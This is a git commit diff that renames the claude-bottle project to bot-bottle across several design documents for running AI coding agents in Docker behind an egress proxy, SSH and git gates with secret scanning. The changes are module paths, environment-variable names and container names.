refactor!: rename project to bot-bottle
Assisted-by: Codex
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
Run pipelock as a sidecar container on each claude-bottle agent's only
|
||||
Run pipelock as a sidecar container on each bot-bottle agent's only
|
||||
egress route, scanning all outbound HTTP for hostname allowlist violations
|
||||
and DLP matches.
|
||||
|
||||
@@ -95,18 +95,18 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### New services / components
|
||||
|
||||
Two new modules under `claude_bottle/`:
|
||||
Two new modules under `bot_bottle/`:
|
||||
|
||||
- **`claude_bottle/pipelock.py`** — pipelock-specific logic. Generates
|
||||
- **`bot_bottle/pipelock.py`** — pipelock-specific logic. Generates
|
||||
the per-bottle YAML config from the manifest's `egress` block plus
|
||||
baked-in defaults; copies the YAML into the sidecar via `docker cp`;
|
||||
starts and stops the sidecar container; resolves the allowlist for
|
||||
display in the preflight.
|
||||
- **`claude_bottle/network.py`** — Docker network plumbing. Creates the
|
||||
per-agent `--internal` network (named `claude-bottle-net-<slug>` with
|
||||
- **`bot_bottle/network.py`** — Docker network plumbing. Creates the
|
||||
per-agent `--internal` network (named `bot-bottle-net-<slug>` with
|
||||
the same slug-and-suffix scheme used for container names), attaches
|
||||
the agent and sidecar to it, removes it on teardown. Kept separate
|
||||
from `claude_bottle/docker.py` so a future PRD can add non-pipelock
|
||||
from `bot_bottle/docker.py` so a future PRD can add non-pipelock
|
||||
network controls without entangling them with pipelock specifics.
|
||||
|
||||
This split mirrors the existing per-concern module pattern
|
||||
@@ -114,7 +114,7 @@ This split mirrors the existing per-concern module pattern
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/cli/start.py`** — wire the new lifecycle into the
|
||||
- **`bot_bottle/cli/start.py`** — wire the new lifecycle into the
|
||||
`start` subcommand: create the internal network, launch the pipelock
|
||||
sidecar, then launch the agent container with `HTTPS_PROXY` /
|
||||
`HTTP_PROXY` set to the sidecar's service name. Add the resolved
|
||||
@@ -129,9 +129,9 @@ This split mirrors the existing per-concern module pattern
|
||||
the image. This keeps the image agnostic to whether a sidecar is in use
|
||||
(useful if a future bottle definition opts out of the proxy for testing).
|
||||
|
||||
`claude_bottle/docker.py` may grow one or two helpers if there is a
|
||||
`bot_bottle/docker.py` may grow one or two helpers if there is a
|
||||
clean place for shared primitives, but the network-specific helpers
|
||||
live in `claude_bottle/network.py`. Decide during implementation; not a
|
||||
live in `bot_bottle/network.py`. Decide during implementation; not a
|
||||
contract.
|
||||
|
||||
### Data model changes
|
||||
@@ -176,7 +176,7 @@ bottle share the same allowlist.
|
||||
|
||||
- **Pipelock binary** is pulled from
|
||||
`ghcr.io/luckypipewrench/pipelock@sha256:<digest>`. The digest is
|
||||
pinned in `claude_bottle/pipelock.py` (or a sibling constants module)
|
||||
pinned in `bot_bottle/pipelock.py` (or a sibling constants module)
|
||||
and bumped deliberately, mirroring the claude-code version pinning
|
||||
pattern in `Dockerfile`.
|
||||
- No new host-side runtimes. The pipelock image is the only new
|
||||
@@ -192,8 +192,8 @@ bottle share the same allowlist.
|
||||
(proxy + 48 default DLP patterns + subdomain entropy + sidecar
|
||||
topology) is expected to be core-only, but this should be confirmed.
|
||||
- **Where to put the digest pin.** A constant in
|
||||
`claude_bottle/pipelock.py` is the lowest-friction option; a separate
|
||||
`claude_bottle/versions.py` (or similar) may be cleaner once there
|
||||
`bot_bottle/pipelock.py` is the lowest-friction option; a separate
|
||||
`bot_bottle/versions.py` (or similar) may be cleaner once there
|
||||
are multiple pinned dependencies. Decide during implementation.
|
||||
- **Per-agent overrides.** The PRD scopes egress to the bottle. If a
|
||||
later use case calls for tightening (not loosening) the allowlist for
|
||||
|
||||
@@ -14,7 +14,7 @@ second backend ships in this PRD.
|
||||
## Problem
|
||||
|
||||
Today, "how to launch a bottle" is spread across roughly six modules
|
||||
(`claude_bottle/cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`,
|
||||
(`bot_bottle/cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`,
|
||||
`skills.py`, `docker.py`), each shelling out to `docker` directly via
|
||||
`subprocess.run(["docker", ...])`. That coupling means:
|
||||
|
||||
@@ -57,22 +57,22 @@ The feature works when all of the following are observable:
|
||||
|
||||
The feature is **done** when all of the following ship:
|
||||
|
||||
- A new `claude_bottle/backend/` package exists with abstract base
|
||||
- A new `bot_bottle/backend/` package exists with abstract base
|
||||
classes (`BottleBackend`, `BottlePlan`, `BottleCleanupPlan`,
|
||||
`Bottle`) plus a `claude_bottle/backend/docker/` subpackage
|
||||
`Bottle`) plus a `bot_bottle/backend/docker/` subpackage
|
||||
containing the `DockerBottleBackend` implementation.
|
||||
- `DockerBottleBackend.launch(plan)` returns a context manager
|
||||
yielding a `Bottle` handle exposing `exec_claude(argv, *, tty=True)`,
|
||||
`cp_in(host, ctr)`, and teardown on context exit.
|
||||
- Every existing `subprocess.run(["docker", ...])` call in
|
||||
`cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`, and
|
||||
`skills.py` either moves into `claude_bottle/backend/docker/` or is
|
||||
`skills.py` either moves into `bot_bottle/backend/docker/` or is
|
||||
called from it. No top-level CLI code references `docker` directly.
|
||||
- `bottles[].runtime` is removed from the manifest schema, the
|
||||
dataclass in `manifest.py`, the example manifest, and any README /
|
||||
docs references. `require_runsc()` in the old top-level
|
||||
`claude_bottle/docker.py` is deleted.
|
||||
- A single env var, `CLAUDE_BOTTLE_BACKEND` (default `"docker"`),
|
||||
`bot_bottle/docker.py` is deleted.
|
||||
- A single env var, `BOT_BOTTLE_BACKEND` (default `"docker"`),
|
||||
selects the backend. Unknown values die at startup with a list of
|
||||
known backends.
|
||||
- The y/N preflight in `cli.py` includes the resolved Docker runtime
|
||||
@@ -97,8 +97,8 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- New `claude_bottle/backend/` package containing the abstract types
|
||||
and the registry, plus a `claude_bottle/backend/docker/` subpackage
|
||||
- New `bot_bottle/backend/` package containing the abstract types
|
||||
and the registry, plus a `bot_bottle/backend/docker/` subpackage
|
||||
containing the Docker implementation.
|
||||
- The `Bottle`, `BottleBackend`, `BottlePlan`, and `BottleCleanupPlan`
|
||||
abstract base classes; `BottleSpec` data carrier; and
|
||||
@@ -136,10 +136,10 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### New services / components
|
||||
|
||||
A new package, `claude_bottle/backend/`, with an abstract base layer
|
||||
A new package, `bot_bottle/backend/`, with an abstract base layer
|
||||
and a Docker subpackage:
|
||||
|
||||
- **`claude_bottle/backend/__init__.py`** — Defines the abstract base
|
||||
- **`bot_bottle/backend/__init__.py`** — Defines the abstract base
|
||||
classes and the backend registry. `BottleSpec` carries the
|
||||
CLI-supplied intent; the abstract `BottlePlan` and
|
||||
`BottleCleanupPlan` are the prepared-but-not-launched outputs of
|
||||
@@ -165,14 +165,14 @@ and a Docker subpackage:
|
||||
`provision_git`); subclasses implement those four rather than
|
||||
overriding `provision` itself.
|
||||
|
||||
Selection reads `CLAUDE_BOTTLE_BACKEND` (default `"docker"`).
|
||||
Selection reads `BOT_BOTTLE_BACKEND` (default `"docker"`).
|
||||
Unknown values call `die()` with the list of known backends:
|
||||
|
||||
```python
|
||||
def get_bottle_backend() -> BottleBackend: ...
|
||||
```
|
||||
|
||||
- **`claude_bottle/backend/docker/`** — Subpackage with the Docker
|
||||
- **`bot_bottle/backend/docker/`** — Subpackage with the Docker
|
||||
implementation, split into:
|
||||
- `backend.py` — `DockerBottleBackend`, owning all five abstract
|
||||
methods (`prepare`, `launch`, `prepare_cleanup`, `cleanup`,
|
||||
@@ -196,49 +196,49 @@ and a Docker subpackage:
|
||||
- `pipelock.py` — `DockerPipelockProxy` (the sidecar start/stop
|
||||
lifecycle) and Docker-specific naming helpers. The backend-neutral
|
||||
yaml + allowlist resolution stays in the top-level
|
||||
`claude_bottle/pipelock.py`.
|
||||
`bot_bottle/pipelock.py`.
|
||||
- `util.py` — Docker-specific helpers (slugify, image/container
|
||||
existence checks, `runsc_available`).
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/cli/start.py`** — replace the inline docker
|
||||
- **`bot_bottle/cli/start.py`** — replace the inline docker
|
||||
orchestration with `backend = get_bottle_backend(); plan =
|
||||
backend.prepare(spec, stage_dir=...); with backend.launch(plan) as
|
||||
bottle: bottle.exec_claude(...)`. The y/N preflight is rendered by
|
||||
`plan.print(...)`.
|
||||
- **`claude_bottle/manifest.py`** — drop the `runtime` field from the
|
||||
- **`bot_bottle/manifest.py`** — drop the `runtime` field from the
|
||||
Bottle dataclass and its validation. Existing manifests with
|
||||
`runtime: "runsc"` produce a clear "no longer supported; gVisor is
|
||||
now auto-detected by the backend; remove the 'runtime' field" error.
|
||||
- **`claude_bottle/docker.py`** — module deleted. `require_runsc()`,
|
||||
- **`bot_bottle/docker.py`** — module deleted. `require_runsc()`,
|
||||
`slugify()`, `image_exists()`, `container_exists()`, the
|
||||
`build_image` / `build_image_with_cwd` helpers, and `require_docker`
|
||||
all migrate into `claude_bottle/backend/docker/util.py` (or
|
||||
all migrate into `bot_bottle/backend/docker/util.py` (or
|
||||
`backend.py`).
|
||||
- **`claude_bottle/pipelock.py`** — keeps the allowlist resolution and
|
||||
- **`bot_bottle/pipelock.py`** — keeps the allowlist resolution and
|
||||
YAML generation. Becomes a thin abstract class (`PipelockProxy`)
|
||||
exposing `prepare` (writes the yaml) plus abstract `start` / `stop`
|
||||
methods. The Docker-specific subclass `DockerPipelockProxy` lives
|
||||
under `backend/docker/pipelock.py`.
|
||||
- **`claude_bottle/network.py`** — folds entirely into
|
||||
- **`bot_bottle/network.py`** — folds entirely into
|
||||
`backend/docker/network.py`. No top-level network module remains.
|
||||
- **`claude_bottle/ssh.py`** and **`claude_bottle/skills.py`** —
|
||||
- **`bot_bottle/ssh.py`** and **`bot_bottle/skills.py`** —
|
||||
absorbed into `DockerBottleBackend` as `provision_ssh` and
|
||||
`provision_skills`. The host-side file-tree generation stays as
|
||||
private helpers on the backend class.
|
||||
- **`claude_bottle/env.py`** (renamed from `env_resolve.py`) —
|
||||
- **`bot_bottle/env.py`** (renamed from `env_resolve.py`) —
|
||||
`resolve_env(manifest, agent) -> ResolvedEnv` returns
|
||||
`forwarded: list[str]` (names whose values were exported into
|
||||
`os.environ` for inheritance) and `literals: dict[str, str]` (name
|
||||
→ verbatim value). The Docker backend translates the result into
|
||||
`--env-file` content + `-e NAME` argv fragments.
|
||||
- **`claude_bottle/util.py`** — top-level cross-backend helpers
|
||||
- **`bot_bottle/util.py`** — top-level cross-backend helpers
|
||||
(`expand_tilde`, `is_ipv4_literal`). Backend-specific helpers live
|
||||
in their backend's `util.py`.
|
||||
- **`claude-bottle.example.json`** — remove the `runtime` field from
|
||||
- **`bot-bottle.example.json`** — remove the `runtime` field from
|
||||
any example bottle.
|
||||
- **`README.md`** — note `CLAUDE_BOTTLE_BACKEND` and the runsc
|
||||
- **`README.md`** — note `BOT_BOTTLE_BACKEND` and the runsc
|
||||
auto-detect; remove any mention of `runtime: "runsc"` as a manifest
|
||||
field.
|
||||
|
||||
|
||||
@@ -6,12 +6,12 @@
|
||||
|
||||
## Summary
|
||||
|
||||
Break `claude_bottle/backend/docker/backend.py` (664 lines) apart by
|
||||
Break `bot_bottle/backend/docker/backend.py` (664 lines) apart by
|
||||
moving the four provisioner methods — `provision_prompt`,
|
||||
`provision_skills`, `provision_ssh`, `provision_git` — out of
|
||||
`DockerBottleBackend` into their own modules under
|
||||
`claude_bottle/backend/docker/provision/`. The abstract base in
|
||||
`claude_bottle/backend/__init__.py` keeps the same four-method
|
||||
`bot_bottle/backend/docker/provision/`. The abstract base in
|
||||
`bot_bottle/backend/__init__.py` keeps the same four-method
|
||||
contract; only the Docker implementation changes shape.
|
||||
|
||||
## Problem
|
||||
@@ -56,7 +56,7 @@ The feature works when all of the following are observable:
|
||||
|
||||
The feature is **done** when all of the following ship:
|
||||
|
||||
- A new `claude_bottle/backend/docker/provision/` subpackage exists
|
||||
- A new `bot_bottle/backend/docker/provision/` subpackage exists
|
||||
with one module per provisioner: `prompt.py`, `skills.py`, `ssh.py`,
|
||||
`git.py`. Each exports a single top-level function taking
|
||||
`(plan: DockerBottlePlan, target: str)` and returning the same type
|
||||
@@ -66,7 +66,7 @@ The feature is **done** when all of the following ship:
|
||||
`provision_ssh` / `provision_git` each become one-line delegations
|
||||
to the new module functions.
|
||||
- The abstract `BottleBackend.provision_*` signatures in
|
||||
`claude_bottle/backend/__init__.py` are unchanged. The
|
||||
`bot_bottle/backend/__init__.py` are unchanged. The
|
||||
`BottleBackend.provision` orchestration in the base class is
|
||||
unchanged.
|
||||
- No top-level CLI code or other backend gains a direct import of the
|
||||
@@ -99,7 +99,7 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- New `claude_bottle/backend/docker/provision/` subpackage with
|
||||
- New `bot_bottle/backend/docker/provision/` subpackage with
|
||||
`__init__.py`, `prompt.py`, `skills.py`, `ssh.py`, `git.py`.
|
||||
- Moving the four method bodies out of
|
||||
`DockerBottleBackend` into the new modules verbatim, adjusting only
|
||||
@@ -132,7 +132,7 @@ The feature is **done** when all of the following ship:
|
||||
### New layout
|
||||
|
||||
```
|
||||
claude_bottle/backend/docker/
|
||||
bot_bottle/backend/docker/
|
||||
backend.py # DockerBottleBackend (slimmer)
|
||||
bottle.py
|
||||
bottle_plan.py
|
||||
@@ -199,13 +199,13 @@ take the concrete type and skip re-checking.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/backend/docker/backend.py`** — four method
|
||||
- **`bot_bottle/backend/docker/backend.py`** — four method
|
||||
bodies move out; method definitions stay as one-line delegations.
|
||||
Imports for `pipelock_proxy_host_port`, `expand_tilde`, etc., that
|
||||
are only used by the moved bodies migrate with them.
|
||||
- **`claude_bottle/backend/docker/__init__.py`** — no change. The
|
||||
- **`bot_bottle/backend/docker/__init__.py`** — no change. The
|
||||
public surface (`DockerBottleBackend`) is unchanged.
|
||||
- **`claude_bottle/backend/__init__.py`** — no change.
|
||||
- **`bot_bottle/backend/__init__.py`** — no change.
|
||||
- **`tests/`** — no expected change. Existing tests exercise the
|
||||
backend via `DockerBottleBackend` or the CLI surface; they don't
|
||||
reach into provisioners directly. Verify after the move and only
|
||||
|
||||
@@ -75,7 +75,7 @@ The feature is **done** when all of the following ship:
|
||||
sidecar (read-only) so the running pipelock can read its CA.
|
||||
- `BottleBackend.provision_ca` (new) copies the CA public cert
|
||||
into the agent at
|
||||
`/usr/local/share/ca-certificates/claude-bottle-mitm.crt`, runs
|
||||
`/usr/local/share/ca-certificates/bot-bottle-mitm.crt`, runs
|
||||
`update-ca-certificates`, and sets the `NODE_EXTRA_CA_CERTS` /
|
||||
`SSL_CERT_FILE` / `REQUESTS_CA_BUNDLE` env trio on the agent
|
||||
container's runtime env. Default no-op on the abstract base so
|
||||
@@ -122,14 +122,14 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- **`claude_bottle/pipelock.py`** changes:
|
||||
- **`bot_bottle/pipelock.py`** changes:
|
||||
- Extend `pipelock_build_config` to include
|
||||
`tls_interception: { enabled: true, ca_cert: <path>, ca_key:
|
||||
<path> }`. Paths are populated from the plan; the function's
|
||||
signature grows a `cert_path` / `key_path` pair or reads them
|
||||
off `Bottle` once they're stored.
|
||||
- Extend `pipelock_render_yaml` to emit the new block.
|
||||
- **`claude_bottle/backend/docker/pipelock.py`** changes:
|
||||
- **`bot_bottle/backend/docker/pipelock.py`** changes:
|
||||
- New helper `pipelock_tls_init(stage_dir)` runs the upstream
|
||||
image as a one-shot:
|
||||
`docker run --rm -v <stage>:/h -e PIPELOCK_HOME=/h pipelock tls init`,
|
||||
@@ -143,31 +143,31 @@ The feature is **done** when all of the following ship:
|
||||
config. If pipelock's image runs as non-root, a `docker exec
|
||||
-u 0 chown pipelock:pipelock /etc/pipelock/ca*.pem` lands
|
||||
between the `cp` and the `start`.
|
||||
- **`claude_bottle/backend/__init__.py`**: new abstract method
|
||||
- **`bot_bottle/backend/__init__.py`**: new abstract method
|
||||
`provision_ca(plan, target)` on `BottleBackend`, default no-op.
|
||||
`BottleBackend.provision` orchestrates `ca → prompt → skills →
|
||||
ssh → git`.
|
||||
- **`claude_bottle/backend/docker/provision/ca.py`** (new):
|
||||
- **`bot_bottle/backend/docker/provision/ca.py`** (new):
|
||||
- Reads the cert from `stage_dir` (already written by prepare).
|
||||
- `docker cp` into the agent.
|
||||
- `docker exec -u 0 ... chmod 644 ...` + `update-ca-certificates`.
|
||||
- Computes the SHA-256 fingerprint with stdlib (`ssl` +
|
||||
`hashlib`), emits one stderr log line.
|
||||
- **`claude_bottle/backend/docker/launch.py`**:
|
||||
- **`bot_bottle/backend/docker/launch.py`**:
|
||||
- Three new `-e` flags on the agent's `docker run`:
|
||||
`NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/claude-bottle-mitm.crt`,
|
||||
`NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/bot-bottle-mitm.crt`,
|
||||
`SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt`,
|
||||
`REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt`.
|
||||
- `HTTPS_PROXY` / `HTTP_PROXY` continue to point at pipelock
|
||||
(unchanged from PRD 0001 — the mitmproxy detour in PR #8 is
|
||||
abandoned).
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`**:
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`**:
|
||||
- One new `info(...)` line in `print()` noting TLS interception
|
||||
is on.
|
||||
- `to_dict()` gains an `egress.tls_interception: { enabled:
|
||||
true, ca_fingerprint: null }` block. Reserved for future
|
||||
population.
|
||||
- **`claude_bottle/backend/docker/prepare.py`**: call
|
||||
- **`bot_bottle/backend/docker/prepare.py`**: call
|
||||
`pipelock_tls_init(stage_dir)` and write the resolved cert/key
|
||||
paths onto the plan (either on the existing `proxy_plan` field
|
||||
or on the parent `DockerBottlePlan`).
|
||||
@@ -221,7 +221,7 @@ generated at prepare time.
|
||||
the one-shot generation step. The rendered YAML references
|
||||
the in-container paths.
|
||||
- **Bottle install.** `provision_ca` (Docker impl) does
|
||||
`docker cp <stage>/ca.pem agent:/usr/local/share/ca-certificates/claude-bottle-mitm.crt`,
|
||||
`docker cp <stage>/ca.pem agent:/usr/local/share/ca-certificates/bot-bottle-mitm.crt`,
|
||||
then `update-ca-certificates`. The CA env trio is set at
|
||||
`docker run -e` time (Docker propagates run-time env into
|
||||
`docker exec`).
|
||||
@@ -235,7 +235,7 @@ generated at prepare time.
|
||||
`stage_dir`. CA dies with both, in that order, so the sidecar
|
||||
is never reading a deleted mount on shutdown.
|
||||
- **Fingerprint.** Computed via stdlib in `provision_ca` and
|
||||
logged once to stderr (`claude-bottle: mitm ca fingerprint:
|
||||
logged once to stderr (`bot-bottle: mitm ca fingerprint:
|
||||
sha256:<hex>…`). The private key never appears in any log.
|
||||
|
||||
### Data model changes
|
||||
@@ -248,18 +248,18 @@ always null at dry-run because the CA doesn't exist yet.
|
||||
|
||||
Surgical, all on the existing pipelock path:
|
||||
|
||||
- `claude_bottle/pipelock.py` — config builder + YAML renderer.
|
||||
- `claude_bottle/backend/__init__.py` — abstract `provision_ca`.
|
||||
- `claude_bottle/backend/docker/pipelock.py` — `tls init` helper,
|
||||
- `bot_bottle/pipelock.py` — config builder + YAML renderer.
|
||||
- `bot_bottle/backend/__init__.py` — abstract `provision_ca`.
|
||||
- `bot_bottle/backend/docker/pipelock.py` — `tls init` helper,
|
||||
sidecar volume mount.
|
||||
- `claude_bottle/backend/docker/prepare.py` — CA paths on plan.
|
||||
- `claude_bottle/backend/docker/launch.py` — CA env trio on agent.
|
||||
- `claude_bottle/backend/docker/backend.py` — `provision_ca`
|
||||
- `bot_bottle/backend/docker/prepare.py` — CA paths on plan.
|
||||
- `bot_bottle/backend/docker/launch.py` — CA env trio on agent.
|
||||
- `bot_bottle/backend/docker/backend.py` — `provision_ca`
|
||||
dispatch + thread `self._proxy` through prepare/launch unchanged
|
||||
shape.
|
||||
- `claude_bottle/backend/docker/bottle_plan.py` — preflight
|
||||
- `bot_bottle/backend/docker/bottle_plan.py` — preflight
|
||||
rendering.
|
||||
- `claude_bottle/backend/docker/provision/ca.py` (new).
|
||||
- `bot_bottle/backend/docker/provision/ca.py` (new).
|
||||
|
||||
Net diff is meaningfully smaller than PR #8 because pipelock
|
||||
already does the work — no addon, no second sidecar, no second
|
||||
|
||||
@@ -95,14 +95,14 @@ back to green is the test.
|
||||
|
||||
Mirror the pipelock layout:
|
||||
|
||||
- **`claude_bottle/ssh_gate.py`** (new): abstract `SSHGate` +
|
||||
- **`bot_bottle/ssh_gate.py`** (new): abstract `SSHGate` +
|
||||
`SSHGatePlan` dataclass. `prepare` is host-side / side-effect-free
|
||||
on docker; renders the forwarder config under `stage_dir`.
|
||||
- **`claude_bottle/backend/docker/ssh_gate.py`** (new):
|
||||
- **`bot_bottle/backend/docker/ssh_gate.py`** (new):
|
||||
`DockerSSHGate` concrete subclass — `start` does `docker create`
|
||||
on the internal network, copies the config in, attaches the
|
||||
egress network, `docker start`. `stop` is idempotent `docker rm
|
||||
-f`. Container name: `claude-bottle-ssh-gate-<slug>`.
|
||||
-f`. Container name: `bot-bottle-ssh-gate-<slug>`.
|
||||
|
||||
Forwarder image: `alpine/socat`, pinned by digest. Must be
|
||||
self-sufficient at boot (no apk/apt pulls on first run) because
|
||||
@@ -126,7 +126,7 @@ rejected at prepare time. One container, N listeners, N upstreams.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/backend/docker/provision/ssh.py`**: drop the
|
||||
- **`bot_bottle/backend/docker/provision/ssh.py`**: drop the
|
||||
`ProxyCommand socat - PROXY:...` plumbing and the
|
||||
`pipelock_proxy_host_port` import. The rendered `~/.ssh/config`
|
||||
block per entry becomes:
|
||||
@@ -140,19 +140,19 @@ rejected at prepare time. One container, N listeners, N upstreams.
|
||||
`known_hosts` entries are keyed off `<name>` and the new
|
||||
`[<gate-container>]:<listen-port>` form so OpenSSH's strict
|
||||
host-key checking still matches.
|
||||
- **`claude_bottle/pipelock.py`**: delete
|
||||
- **`bot_bottle/pipelock.py`**: delete
|
||||
`pipelock_bottle_ssh_hostnames`, `pipelock_bottle_ssh_trusted_domains`,
|
||||
`pipelock_bottle_ssh_ip_cidrs`, and the calls into them from
|
||||
`pipelock_effective_allowlist` and `pipelock_build_config`. The
|
||||
effective allowlist becomes baked-defaults ∪ `bottle.egress.allowlist`.
|
||||
- **`claude_bottle/backend/docker/backend.py`**: instantiate
|
||||
- **`bot_bottle/backend/docker/backend.py`**: instantiate
|
||||
`DockerSSHGate` alongside `DockerPipelockProxy`; thread its
|
||||
`prepare` / `start` / `stop` through `resolve_plan` / `launch`.
|
||||
- **`claude_bottle/backend/docker/launch.py`**: add gate start /
|
||||
- **`bot_bottle/backend/docker/launch.py`**: add gate start /
|
||||
stop to the `ExitStack` in the right order — gate must be up
|
||||
before `provision_ssh` runs so the agent can dial it on first
|
||||
boot.
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`**: new
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`**: new
|
||||
`SSHGatePlan` field on `DockerBottlePlan`; preflight rendering
|
||||
surfaces the gate sidecar (name, per-entry listen ports,
|
||||
upstream `Hostname:Port` targets).
|
||||
@@ -165,7 +165,7 @@ rejected at prepare time. One container, N listeners, N upstreams.
|
||||
### Data model changes
|
||||
|
||||
None. `bottle.ssh` schema is unchanged; one new internal plan
|
||||
dataclass (`SSHGatePlan`) under `claude_bottle/ssh_gate.py`.
|
||||
dataclass (`SSHGatePlan`) under `bot_bottle/ssh_gate.py`.
|
||||
|
||||
### External dependencies
|
||||
|
||||
@@ -202,7 +202,7 @@ dataclass (`SSHGatePlan`) under `claude_bottle/ssh_gate.py`.
|
||||
- PRD 0006: pipelock native TLS interception — the change that
|
||||
surfaced this regression by making pipelock incompatible with
|
||||
SSH-over-CONNECT.
|
||||
- `claude_bottle/backend/docker/provision/ssh.py` — current SSH
|
||||
- `bot_bottle/backend/docker/provision/ssh.py` — current SSH
|
||||
provisioning that this PRD rewrites.
|
||||
- `claude_bottle/pipelock.py` — current pipelock config builder
|
||||
- `bot_bottle/pipelock.py` — current pipelock config builder
|
||||
that gains the `bottle.ssh`-derived fields this PRD removes.
|
||||
|
||||
+10
-10
@@ -26,7 +26,7 @@ entry and pushes straight at gitea/github with ssh-gate doing dumb
|
||||
L4 forwarding. There is no boundary between "the agent thinks this
|
||||
commit is fine" and "the secret hits an external remote." If a
|
||||
compromised or careless agent stages a `.env`, slips a token into
|
||||
a fixture, or commits the `CLAUDE_BOTTLE_OAUTH_TOKEN` itself, `git
|
||||
a fixture, or commits the `BOT_BOTTLE_OAUTH_TOKEN` itself, `git
|
||||
push` ships it.
|
||||
|
||||
Host-side pre-commit / pre-push hooks are the usual defense, but
|
||||
@@ -131,16 +131,16 @@ for a declared upstream:
|
||||
|
||||
Mirror the existing sidecar layout:
|
||||
|
||||
- **`claude_bottle/git_gate.py`** (new): abstract `GitGate` +
|
||||
- **`bot_bottle/git_gate.py`** (new): abstract `GitGate` +
|
||||
`GitGatePlan` dataclass. `prepare` is host-side / side-effect-
|
||||
free on docker; renders the per-upstream config and stages the
|
||||
push credentials under `stage_dir`.
|
||||
- **`claude_bottle/backend/docker/git_gate.py`** (new):
|
||||
- **`bot_bottle/backend/docker/git_gate.py`** (new):
|
||||
`DockerGitGate` concrete subclass. `start` does `docker create`
|
||||
on the internal network, copies in the bare-repo skeleton, the
|
||||
hook script, and per-upstream credentials, then `docker start`.
|
||||
`stop` is idempotent `docker rm -f`. Container name:
|
||||
`claude-bottle-git-gate-<slug>`.
|
||||
`bot-bottle-git-gate-<slug>`.
|
||||
|
||||
Gate image: `git-daemon` + `openssh-client` over a
|
||||
`zricethezav/gitleaks` base (alpine + gitleaks), pinned by digest.
|
||||
@@ -173,21 +173,21 @@ operation.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/manifest.py`**: parse and validate the new
|
||||
- **`bot_bottle/manifest.py`**: parse and validate the new
|
||||
`bottle.git` block; reject `bottle.ssh` entries whose upstream
|
||||
is also claimed by a `bottle.git` upstream (one path per
|
||||
remote, no shadow route).
|
||||
- **`claude_bottle/backend/docker/provision/git.py`** (new) or an
|
||||
- **`bot_bottle/backend/docker/provision/git.py`** (new) or an
|
||||
extension of the ssh provisioner: render the `insteadOf` config
|
||||
and any extra `~/.gitconfig` plumbing.
|
||||
- **`claude_bottle/backend/docker/backend.py`**: instantiate
|
||||
- **`bot_bottle/backend/docker/backend.py`**: instantiate
|
||||
`DockerGitGate` alongside `DockerPipelockProxy` and
|
||||
`DockerSSHGate`; thread its `prepare` / `start` / `stop`
|
||||
through `resolve_plan` / `launch`.
|
||||
- **`claude_bottle/backend/docker/launch.py`**: add gate start /
|
||||
- **`bot_bottle/backend/docker/launch.py`**: add gate start /
|
||||
stop to the `ExitStack` so the gate is up before any
|
||||
provisioner that writes the agent's `~/.gitconfig`.
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`**: new
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`**: new
|
||||
`GitGatePlan` field on `DockerBottlePlan`; preflight rendering
|
||||
surfaces the gate sidecar (name, per-upstream local paths,
|
||||
upstream real URLs, which credential is in use).
|
||||
@@ -249,6 +249,6 @@ exposes it as, and the credential the gate uses to push upstream
|
||||
- PRD 0007: SSH egress gate — the L4 SSH forwarder this PRD
|
||||
sits alongside; explicitly *not* the place to add
|
||||
git-protocol awareness.
|
||||
- `claude_bottle/ssh_gate.py` / `claude_bottle/pipelock.py` —
|
||||
- `bot_bottle/ssh_gate.py` / `bot_bottle/pipelock.py` —
|
||||
existing sidecar abstractions to mirror.
|
||||
- gitleaks: <https://github.com/gitleaks/gitleaks>
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Delete the ssh-gate sidecar and the `bottle.ssh` manifest field.
|
||||
Git-gate (PRD 0008) covers every current SSH use case in
|
||||
claude-bottle: each declared upstream gets a per-bottle gate
|
||||
bot-bottle: each declared upstream gets a per-bottle gate
|
||||
with gitleaks scanning, an `insteadOf` rewrite that captures
|
||||
push / fetch / clone / pull / ls-remote, and credential
|
||||
isolation from the agent. ssh-gate is now redundant L4
|
||||
@@ -76,11 +76,11 @@ the unused path.
|
||||
`_validate_no_shadow_route`. Add an explicit branch in
|
||||
`Bottle.from_dict` that dies on a `ssh` key with a one-line
|
||||
"move this to `bottle.git` (see PRD 0008)" hint.
|
||||
- **Sidecar.** Delete `claude_bottle/ssh_gate.py` and
|
||||
`claude_bottle/backend/docker/ssh_gate.py`. Drop the socat
|
||||
- **Sidecar.** Delete `bot_bottle/ssh_gate.py` and
|
||||
`bot_bottle/backend/docker/ssh_gate.py`. Drop the socat
|
||||
image build path.
|
||||
- **Provisioner.** Delete
|
||||
`claude_bottle/backend/docker/provision/ssh.py` and its
|
||||
`bot_bottle/backend/docker/provision/ssh.py` and its
|
||||
`~/.ssh/config` render.
|
||||
- **Docker backend wiring.** Drop `DockerSSHGate` from
|
||||
`backend.py`; drop its start / stop from `launch.py`'s
|
||||
@@ -98,7 +98,7 @@ the unused path.
|
||||
- **README.** Drop the socat / ssh image box from the
|
||||
architecture diagram and its bullet; drop `ssh:` from the
|
||||
manifest example.
|
||||
- **Example manifest.** Drop `ssh:` from `claude-bottle.example.json`.
|
||||
